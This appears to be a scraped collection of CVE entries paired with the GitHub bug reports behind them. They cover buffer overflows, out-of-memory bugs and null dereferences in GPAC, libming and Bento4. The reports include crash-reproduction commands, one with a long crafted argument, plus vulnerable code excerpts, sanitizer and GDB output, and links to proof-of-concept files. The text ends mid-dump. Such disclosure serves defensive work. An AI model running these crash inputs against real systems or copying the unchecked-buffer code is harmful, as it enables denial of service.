2018-12-22T02:44:19Z

2022-08-25T08:33:41Z

https://github.com/gpac/gpac/issues/1186

CVE-2018-20762

2019-02-06T23:29:00.370

GPAC version 0.7.1 and earlier has a buffer overflow vulnerability in the cat_multiple_files function in applications/mp4box/fileimport.c when MP4Box is used for a local directory containing crafted filenames.

https://github.com/gpac/gpac/issues/1187

github.com

There is a buffer overflow issue in cat_multiple_files () function, fileimport.c GF_Err cat_multiple_files(GF_ISOFile *dest, char *fileName, u32 import_flags, Double force_fps, u32 frames_per_sample, char *tmp_dir, Bool force_cat, Bool align_timelines, Bool allow_add_in_command) { …… if (sep) { strcpy(cat_enum.szOpt, sep); // buffer overflow here. sep[0] = 0; } …… } root@ubuntu:/opt/niugx/cov_product/gpac/gpac-master/bin/gcc# ./MP4Box -cat cat*.txt:szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2 -add overview.srt overview.mp4 Timed Text (SRT) import - text track 580 x 436, font Serif (size 18) Segmentation fault (core dumped)

buffer overflow issue 4#

https://api.github.com/repos/gpac/gpac/issues/1187/comments

2018-12-22T02:47:42Z

2022-08-25T08:34:06Z

https://github.com/gpac/gpac/issues/1187

CVE-2018-20763

2019-02-06T23:29:00.417

In GPAC 0.7.1 and earlier, gf_text_get_utf8_line in media_tools/text_import.c in libgpac_static.a allows an out-of-bounds write because of missing szLineConv bounds checking.

https://github.com/gpac/gpac/issues/1188

github.com

There is a buffer overflow issue in gf_text_get_utf8_line () function, text_import.c in line 429 of gf_text_import_srt, parameter lineSize is 2048, but in gf_text_get_utf8_line (), the size of szLineConv is 1024, so, when the size of szLine is more than 1024, the buffer of szLineConv will overflow. 429 char *sOK = gf_text_get_utf8_line(szLine, 2048, srt_in, unicode_type); char *gf_text_get_utf8_line(char *szLine, u32 lineSize, FILE *txt_in, s32 unicode_type) { …… char szLineConv[1024]; …… len = (u32) strlen(szLine); // len might be more than 1024 for (i=0; i<len; i++) { if (!unicode_type && (szLine[i] & 0x80)) { /*non UTF8 (likely some win-CP)*/ if ((szLine[i+1] & 0xc0) != 0x80) { szLineConv[j] = 0xc0 | ( (szLine[i] >> 6) & 0x3 ); // j may more than 1024 here j++; szLine[i] &= 0xbf; } …… } root@ubuntu:/opt/niugx/cov_product/gpac/gpac-master/bin/gcc# ./MP4Box -srt 0 crafted_text.srt Timed Text (SRT) import - text track 400 x 60, font Serif (size 18) *** stack smashing detected ***: ./MP4Box terminated Aborted (core dumped) root@ubuntu:/opt/niugx/cov_product/gpac/gpac-master/bin/gcc# gdb ./MP4Box GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.3) 7.7.1 Copyright (C) 2014 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./MP4Box...done. (gdb) set args -srt 0 crafted_text.srt (gdb) b text_import.c:250 No source file named text_import.c. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 1 (text_import.c:250) pending. (gdb) r Starting program: /opt/niugx/cov_product/gpac/gpac-master/bin/gcc/MP4Box -srt 0 crafted_text.srt [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Timed Text (SRT) import - text track 400 x 60, font Serif (size 18) Breakpoint 1, gf_text_get_utf8_line (szLine=0x7fffffff88e0 "1\n", lineSize=2048, txt_in=0x65d570, unicode_type=0) at media_tools/text_import.c:250 250 szLineConv[j] = 0; (gdb) c Continuing. Breakpoint 1, gf_text_get_utf8_line (szLine=0x7fffffff88e0 "00:00:12,375 --> 00:00:13,425\n", lineSize=2048, txt_in=0x65d570, unicode_type=0) at media_tools/text_import.c:250 250 szLineConv[j] = 0; (gdb) c Continuing. Breakpoint 1, gf_text_get_utf8_line ( szLine=0x7fffffff88e0 "hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello wo"..., lineSize=2048, txt_in=0x65d570, unicode_type=0) at media_tools/text_import.c:250 250 szLineConv[j] = 0; (gdb) p j $1 = 1729 (gdb) c Continuing. *** stack smashing detected ***: /opt/niugx/cov_product/gpac/gpac-master/bin/gcc/MP4Box terminated Program received signal SIGABRT, Aborted. 0x00007ffff72b7c37 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 56 ../nptl/sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) Guoxiang Niu, EaglEye Team

buffer overflow issue 5#

https://api.github.com/repos/gpac/gpac/issues/1188/comments

2018-12-22T03:05:37Z

2019-04-19T08:57:13Z

https://github.com/gpac/gpac/issues/1188

CVE-2019-7581

2019-02-07T18:29:00.193

The parseSWF_ACTIONRECORD function in util/parser.c in libming through 0.4.8 allows remote attackers to have unspecified impact via a crafted swf file that triggers a memory allocation failure, a different vulnerability than CVE-2018-7876.

https://github.com/libming/libming/issues/173

github.com

version: master(**commit 50098023446a5412efcfbd40552821a8cba983a6**) command: **listswf $FILE** OS: **Ubuntu 16.04.4 LTS 64bit** ``` $ ./install-asan/bin/listswf poc>/dev/null header indicates a filesize of 808464488 but filesize is 430 Stream out of sync after parse of blocktype 24 (SWF_PROTECT). 33 but expecting 51. ==40038==WARNING: AddressSanitizer failed to allocate 0xfffffffffffcd800 bytes ==40038==AddressSanitizer's allocator is terminating the process instead of returning 0 ==40038==If you don't like this behavior set allocator_may_return_null=1 ==40038==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_allocator.cc:147 "((0)) != (0)" (0x0, 0x0) #0 0x7f9ab5b8b631 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa0631) #1 0x7f9ab5b905e3 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa55e3) #2 0x7f9ab5b08425 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x1d425) #3 0x7f9ab5b8e865 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa3865) #4 0x7f9ab5b0db4d (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x22b4d) #5 0x7f9ab5b835d2 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x985d2) #6 0x433465 in parseSWF_ACTIONRECORD /home/wdw/experiment/aflgo/libming/util/parser.c:1142 #7 0x42d6de in parseSWF_CLIPACTIONRECORD /home/wdw/experiment/aflgo/libming/util/parser.c:386 #8 0x42da81 in parseSWF_CLIPACTIONS /home/wdw/experiment/aflgo/libming/util/parser.c:408 #9 0x4443a3 in parseSWF_PLACEOBJECT2 /home/wdw/experiment/aflgo/libming/util/parser.c:2665 #10 0x419c15 in blockParse /home/wdw/experiment/aflgo/libming/util/blocktypes.c:145 #11 0x415a68 in readMovie /home/wdw/experiment/aflgo/libming/util/main.c:269 #12 0x41624e in main /home/wdw/experiment/aflgo/libming/util/main.c:354 #13 0x7f9ab522282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #14 0x401aa8 in _start (/home/wdw/experiment/aflgo/libming/install-asan/bin/listswf+0x401aa8) ``` Download: [poc](https://github.com/waugustus/poc/blob/master/libming/memory-allocate-failure_parser.c-1142)

Memory allocation failure in parseSWF_ACTIONRECORD (parser.c: 1142), different from #109

https://api.github.com/repos/libming/libming/issues/173/comments

2019-01-17T09:18:12Z

2019-03-09T02:21:40Z

https://github.com/libming/libming/issues/173

CVE-2019-7582

2019-02-07T18:29:00.240

The readBytes function in util/read.c in libming through 0.4.8 allows remote attackers to have unspecified impact via a crafted swf file that triggers a memory allocation failure.

https://github.com/libming/libming/issues/172

github.com

version: master(**commit 50098023446a5412efcfbd40552821a8cba983a6**) command: **listswf $FILE** OS: **Ubuntu 16.04.4 LTS 64bit** ``` $ ./install-asan/bin/listswf poc >/dev/null header indicates a filesize of 1995 but filesize is 1916 ==19625==WARNING: AddressSanitizer failed to allocate 0xfffffffffffffffe bytes ==19625==AddressSanitizer's allocator is terminating the process instead of returning 0 ==19625==If you don't like this behavior set allocator_may_return_null=1 ==19625==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_allocator.cc:147 "((0)) != (0)" (0x0, 0x0) #0 0x7f9290d80631 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa0631) #1 0x7f9290d855e3 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa55e3) #2 0x7f9290cfd425 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x1d425) #3 0x7f9290d83865 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa3865) #4 0x7f9290d02b4d (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x22b4d) #5 0x7f9290d785d2 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x985d2) #6 0x44dec2 in readBytes /home/wdw/experiment/aflgo/libming/util/read.c:252 #7 0x437290 in parseSWF_DEFINEBITSJPEG2 /home/wdw/experiment/aflgo/libming/util/parser.c:1493 #8 0x419c15 in blockParse /home/wdw/experiment/aflgo/libming/util/blocktypes.c:145 #9 0x415a68 in readMovie /home/wdw/experiment/aflgo/libming/util/main.c:269 #10 0x41624e in main /home/wdw/experiment/aflgo/libming/util/main.c:354 #11 0x7f929041782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #12 0x401aa8 in _start (/home/wdw/experiment/aflgo/libming/install-asan/bin/listswf+0x401aa8) ``` Download: [poc](https://github.com/waugustus/poc/blob/master/libming/memory-allocate-failure_read.c-252)

Memory allocation failure in readBytes (read.c:252)

https://api.github.com/repos/libming/libming/issues/172/comments

2019-01-17T09:17:38Z

2019-03-09T02:21:54Z

https://github.com/libming/libming/issues/172

CVE-2019-7697

2019-02-10T22:29:00.327

An issue was discovered in Bento4 v1.5.1-627. There is an assertion failure in AP4_AtomListWriter::Action in Core/Ap4Atom.cpp, leading to a denial of service (program crash), as demonstrated by mp42hls.

https://github.com/axiomatic-systems/Bento4/issues/351

github.com

Hi there, Multiple Assertion failed were discovered in AP4_AtomListWriter::Action(AP4_Atom *) in Ap4Atom.cpp Here are the POC files. Please use "./mp42hls $POC" to reproduce the error. [POC.zip](https://github.com/axiomatic-systems/Bento4/files/2719232/POC.zip) The output were shown as follow: ``` Bento4/Source/C++/Core/Ap4Atom.cpp:759: virtual AP4_Result AP4_AtomListWriter::Action(AP4_Atom *) const: Assertion `bytes_written <= atom->GetSize()' failed. Aborted (core dumped) ```

Multiple Assertion failed were discovered in AP4_AtomListWriter::Action(AP4_Atom *) in Ap4Atom.cpp

https://api.github.com/repos/axiomatic-systems/Bento4/issues/351/comments

2019-01-01T09:47:39Z

2019-07-24T08:35:38Z

https://github.com/axiomatic-systems/Bento4/issues/351

CVE-2019-7698

2019-02-10T22:29:00.373

An issue was discovered in AP4_Array<AP4_CttsTableEntry>::EnsureCapacity in Core/Ap4Array.h in Bento4 1.5.1-627. Crafted MP4 input triggers an attempt at excessive memory allocation, as demonstrated by mp42hls, a related issue to CVE-2018-20095.

https://github.com/axiomatic-systems/Bento4/issues/354

github.com

Hi, there. I test the program at the master branch. ``` commit 5a0ce8023ea312a2d87c194049106e893ed57767 Merge: 91d2bc6 bab5bb9 Author: Gilles Boccon-Gibod <bok@bok.net> Date: Fri Dec 28 22:42:38 2018 -0800 Merge pull request #347 from orivej/apps Let Scons and CMake build all apps ``` An Out of Memory problem was discovered in function AP4_Array<AP4_CttsTableEntry>::EnsureCapacity in Ap4Array.h. The program tries to allocate with a large number size( 0x6eff83000 bytes) of memory. Please use the "./mp4dump $POC" to reproduce the bug. [POC.zip](https://github.com/axiomatic-systems/Bento4/files/2719261/POC.zip)

when running mp4dump, there is a out-of-memory problem in AP4_Array<AP4_CttsTableEntry>::EnsureCapacity in Ap4Array.h

https://api.github.com/repos/axiomatic-systems/Bento4/issues/354/comments

2019-01-01T10:46:25Z

2019-01-01T10:46:50Z

https://github.com/axiomatic-systems/Bento4/issues/354

CVE-2019-7699

2019-02-10T22:29:00.403

A heap-based buffer over-read occurs in AP4_BitStream::WriteBytes in Codecs/Ap4BitStream.cpp in Bento4 v1.5.1-627. Remote attackers could leverage this vulnerability to cause an exception via crafted mp4 input, which leads to a denial of service.

https://github.com/axiomatic-systems/Bento4/issues/355

github.com

Hi, there. A Heap-buffer-overflow problem was discovered in function AP4_BitStream::WriteBytes(unsigned char const*, unsigned int) in Ap4BitStream.cpp. A crafted input can cause segment faults and I have confirmed them with address sanitizer too. Here are the POC files. Please use "./avcinfo $POC" to reproduce the error. [POC.zip](https://github.com/axiomatic-systems/Bento4/files/2719284/POC.zip) ``` ================================================================= ==5498==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000eff4 at pc 0x0000004a817d bp 0x7ffddfab9910 sp 0x7ffddfab90c0 READ of size 8 at 0x60200000eff4 thread T0 #0 0x4a817c in __asan_memcpy (/Bento4/Build/avcinfo+0x4a817c) #1 0x4f90ab in AP4_BitStream::WriteBytes(unsigned char const*, unsigned int) /Bento4/Source/C++/Codecs/Ap4BitStream.cpp:133:9 #2 0x4f4829 in PrintSliceInfo(unsigned char const*) /Bento4/Source/C++/Apps/AvcInfo/AvcInfo.cpp:84:5 #3 0x4f40a3 in main /Bento4/Source/C++/Apps/AvcInfo/AvcInfo.cpp:171:21 #4 0x7f9e01e3982f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291 #5 0x41e318 in _start (/Bento4/Build/avcinfo+0x41e318) 0x60200000eff4 is located 0 bytes to the right of 4-byte region [0x60200000eff0,0x60200000eff4) allocated by thread T0 here: #0 0x4efb90 in operator new[](unsigned long) (/Bento4/Build/avcinfo+0x4efb90) #1 0x51b622 in AP4_DataBuffer::ReallocateBuffer(unsigned int) /Bento4/Source/C++/Core/Ap4DataBuffer.cpp:210:28 #2 0x51bb39 in AP4_DataBuffer::SetDataSize(unsigned int) /Bento4/Source/C++/Core/Ap4DataBuffer.cpp:151:33 #3 0x4f786b in AP4_NalParser::Feed(void const*, unsigned int, unsigned int&, AP4_DataBuffer const*&, bool) /Bento4/Source/C++/Codecs/Ap4NalParser.cpp:188:9 #4 0x4f39f5 in main /Bento4/Source/C++/Apps/AvcInfo/AvcInfo.cpp:150:22 #5 0x7f9e01e3982f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291 SUMMARY: AddressSanitizer: heap-buffer-overflow (/Bento4/Build/avcinfo+0x4a817c) in __asan_memcpy Shadow bytes around the buggy address: 0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c047fff9df0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa[04]fa 0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==5498==ABORTING Aborted ``` $ git log ``` commit 5a0ce8023ea312a2d87c194049106e893ed57767 Merge: 91d2bc6 bab5bb9 Author: Gilles Boccon-Gibod <bok@bok.net> Date: Fri Dec 28 22:42:38 2018 -0800 Merge pull request #347 from orivej/apps Let Scons and CMake build all apps ```

When running avcinfo, a heap-buffer-overflow occur in function AP4_BitStream::WriteBytes in Ap4BitStream.cpp

https://api.github.com/repos/axiomatic-systems/Bento4/issues/355/comments

2019-01-01T11:33:09Z

2019-01-01T11:33:09Z

https://github.com/axiomatic-systems/Bento4/issues/355

CVE-2019-8378

2019-02-17T02:29:00.363

An issue was discovered in Bento4 1.5.1-628. A heap-based buffer over-read exists in AP4_BitStream::ReadBytes() in Codecs/Ap4BitStream.cpp, a similar issue to CVE-2017-14645. It can be triggered by sending a crafted file to the aac2mp4 binary. It allows an attacker to cause a Denial of Service (Segmentation fault) or possibly have unspecified other impact.

https://github.com/axiomatic-systems/Bento4/issues/363

github.com

**Description** - we observed a heap-buffer-overflow occured in function` AP4_BitStream::ReadBytes()` located in `Ap4BitStream.cpp`.The same be triggered by sending a crafted file to the aac2mp4 binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact. **Command** - `./aac2mp4 $POC output.mp4` **POC** - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/BENTO4/HEAP_BOF_POC?raw=true) **Degub** - **ASAN REPORT** - ```` ASAN REPORT: ==2056==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x625000002100 at pc 0x7ffff6e93733 bp 0x7fffffffc840 sp 0x7fffffffbfe8 READ of size 4294967289 at 0x625000002100 thread T0 #0 0x7ffff6e93732 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732) #1 0x555555868840 in AP4_BitStream::ReadBytes(unsigned char*, unsigned int) /home/aceteam/Desktop/packages/Bento4/Source/C++/Codecs/Ap4BitStream.cpp:192 #2 0x555555864ecb in main /home/aceteam/Desktop/packages/Bento4/Source/C++/Apps/Aac2Mp4/Aac2Mp4.cpp:142 #3 0x7ffff64a9b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #4 0x555555864369 in _start (/home/aceteam/Desktop/packages/Bento4/builds/aac2mp4+0x310369) 0x625000002100 is located 0 bytes to the right of 8192-byte region [0x625000000100,0x625000002100) allocated by thread T0 here: #0 0x7ffff6efa618 in operator new [] (unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0618) #1 0x555555867a67 in AP4_BitStream: AP4_BitStream () /home/aceteam/Desktop/packages/Bento4/Source/C++/Codecs/Ap4BitStream.cpp:45 #2 0x5555558661f2 in AP4_AdtsParser: AP4_AdtsParser () /home/aceteam/Desktop/packages/Bento4/Source/C++/Codecs/Ap4AdtsParser.cpp:125 #3 0x55555586492a in main /home/aceteam/Desktop/packages/Bento4/Source/C++/Apps/Aac2Mp4/Aac2Mp4.cpp:100 #4 0x7ffff64a9b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732) Shadow bytes around the buggy address: 0x0c4a7fff83d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff83e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff83f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff8400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff8410: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c4a7fff8420: [fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8430: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8440: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8450: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8460: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8470: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==2056==ABORTING ```` **GDB** - ```` Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $rax : 0x7ffef70a4010 → 0x0000000000000000 $rbx : 0x7fffffffcc48 → 0x000055555588f8d0 → 0xf7c6e70fa88241a4 $rcx : 0x555555890136 → 0x100389d9fd941721 $rdx : 0xfffffff9 $rsp : 0x7fffffffcb48 → 0x00005555555bd601 → <AP4_BitStream::ReadBytes(unsigned+0> mov rax, QWORD PTR [rbp-0x18] $rbp : 0x7fffffffcb80 → 0x00007fffffffdca0 → 0x0000555555631190 → <__libc_csu_init+0> push r15 $rsi : 0x555555890136 → 0x100389d9fd941721 $rdi : 0x7ffef70a4010 → 0x0000000000000000 $rip : 0x7ffff74fe6d3 → <__memmove_sse2_unaligned_erms+435> movups xmm8, XMMWORD PTR [rsi+rdx*1-0x10] $r8 : 0xffffffff $r9 : 0x0 $r10 : 0x22 $r11 : 0x246 $r12 : 0xfffffff9 $r13 : 0x7fffffffdd80 → 0x0000000000000003 $r14 : 0x0 $r15 : 0x0 $eflags: [zero carry parity ADJUST sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $gs: 0x0000 $fs: 0x0000 $ds: 0x0000 $ss: 0x002b $es: 0x0000 $cs: 0x0033 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0x00007fffffffcb48│+0x00: 0x00005555555bd601 → <AP4_BitStream::ReadBytes(unsigned+0> mov rax, QWORD PTR [rbp-0x18] ← $rsp 0x00007fffffffcb50│+0x08: 0x00007fffffffcb80 → 0x00007fffffffdca0 → 0x0000555555631190 → <__libc_csu_init+0> push r15 0x00007fffffffcb58│+0x10: 0xfffffff95589a0a0 0x00007fffffffcb60│+0x18: 0x00007ffef70a4010 → 0x0000000000000000 0x00007fffffffcb68│+0x20: 0x00007fffffffcc48 → 0x000055555588f8d0 → 0xf7c6e70fa88241a4 0x00007fffffffcb70│+0x28: 0x000055555589a070 → 0x00005555558714c8 → 0x00005555555bec94 → <AP4_MemoryByteStream::~AP4_MemoryByteStream()+0> push rbp 0x00007fffffffcb78│+0x30: 0xe9967b959a292100 0x00007fffffffcb80│+0x38: 0x00007fffffffdca0 → 0x0000555555631190 → <__libc_csu_init+0> push r15 ← $rbp ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386:x86-64 ]──── 0x7ffff74fe6c6 <__memmove_sse2_unaligned_erms+422> movups xmm5, XMMWORD PTR es:[rsi+0x10] 0x7ffff74fe6cb <__memmove_sse2_unaligned_erms+427> movups xmm6, XMMWORD PTR [rsi+0x20] 0x7ffff74fe6cf <__memmove_sse2_unaligned_erms+431> movups xmm7, XMMWORD PTR [rsi+0x30] → 0x7ffff74fe6d3 <__memmove_sse2_unaligned_erms+435> movups xmm8, XMMWORD PTR [rsi+rdx*1-0x10] 0x7ffff74fe6d9 <__memmove_sse2_unaligned_erms+441> lea r11, [rdi+rdx*1-0x10] 0x7ffff74fe6de <__memmove_sse2_unaligned_erms+446> lea rcx, [rsi+rdx*1-0x10] 0x7ffff74fe6e3 <__memmove_sse2_unaligned_erms+451> mov r9, r11 0x7ffff74fe6e6 <__memmove_sse2_unaligned_erms+454> mov r8, r11 0x7ffff74fe6e9 <__memmove_sse2_unaligned_erms+457> and r8, 0xf ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "aac2mp4", stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x7ffff74fe6d3 → Name: __memmove_sse2_unaligned_erms() [#1] 0x5555555bd601 → Name: AP4_BitStream::ReadBytes(this=0x7fffffffcc48, bytes=0x7ffef70a4010 "", byte_count=0xfffffff9) [#2] 0x5555555bc395 → Name: main(argc=0x3, argv=0x7fffffffdd88) ````

A heap-buffer-overflow occured in function AP4_BitStream::ReadBytes()

https://api.github.com/repos/axiomatic-systems/Bento4/issues/363/comments

2019-01-29T07:09:12Z

2019-02-01T10:24:02Z

https://github.com/axiomatic-systems/Bento4/issues/363

CVE-2019-8380

2019-02-17T02:29:00.473

An issue was discovered in Bento4 1.5.1-628. A NULL pointer dereference occurs in AP4_Track::GetSampleIndexForTimeStampMs() located in Core/Ap4Track.cpp. It can triggered by sending a crafted file to the mp4audioclip binary. It allows an attacker to cause a Denial of Service (Segmentation fault) or possibly have unspecified other impact.

https://github.com/axiomatic-systems/Bento4/issues/366

github.com

**Description** - we observed a NULL pointer dereference occured in `AP4_Track::GetSampleIndexForTimeStampMs()` located in `Ap4Track.cpp`.The same be triggered by sending a crafted file to the mp4audioclip binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact. **Command** - `./mp4audioclip --start 0 --duration 100 $POC OUTPUTFILE` **POC** - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/BENTO4/NP_POC?raw=true) **Debug** - **GDB** - ``` 0x00000000004585cb in AP4_Track::GetSampleIndexForTimeStampMs (this=0x6040000001d0, ts_ms=0x0, index=@0x7fffffffdb10: 0x0) at /home/ace/Downloads/sources/Bento4/Source/C++/Core/Ap4Track.cpp:485 485 return m_SampleTable->GetSampleIndexForTimeStamp(ts, index); [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $rax : 0x0 $rbx : 0x7fffffffdd70 → 0x0000000000000000 $rcx : 0x0 $rdx : 0x0 $rsp : 0x7fffffffd9d0 → 0x00007fffffffda00 → 0x00007fffffffdda0 → 0x0000000000578490 → <__libc_csu_init+0> push r15 $rbp : 0x7fffffffda00 → 0x00007fffffffdda0 → 0x0000000000578490 → <__libc_csu_init+0> push r15 $rsi : 0x0 $rdi : 0x0 $rip : 0x4585cb → <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> mov rax, QWORD PTR [rax] $r8 : 0x0 $r9 : 0x0 $r10 : 0x60b0000000e0 → 0x14ffffff00000002 $r11 : 0x7fffffffd1d8 → 0x000060c000000090 → 0x00000000005caca0 → 0x00000000004809d6 → <AP4_List<AP4_TrakAtom>::~AP4_List()+0> push rbp $r12 : 0xffffffffb56 → 0x0000000000000000 $r13 : 0x7fffffffdab0 → 0x0000000041b58ab3 $r14 : 0x60b0000000f0 → 0x00000000005ecdb0 → 0x000000000048acd4 → <AP4_SyntheticSampleTable::~AP4_SyntheticSampleTable()+0> push rbp $r15 : 0x0 $eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $ss: 0x002b $fs: 0x0000 $es: 0x0000 $ds: 0x0000 $gs: 0x0000 $cs: 0x0033 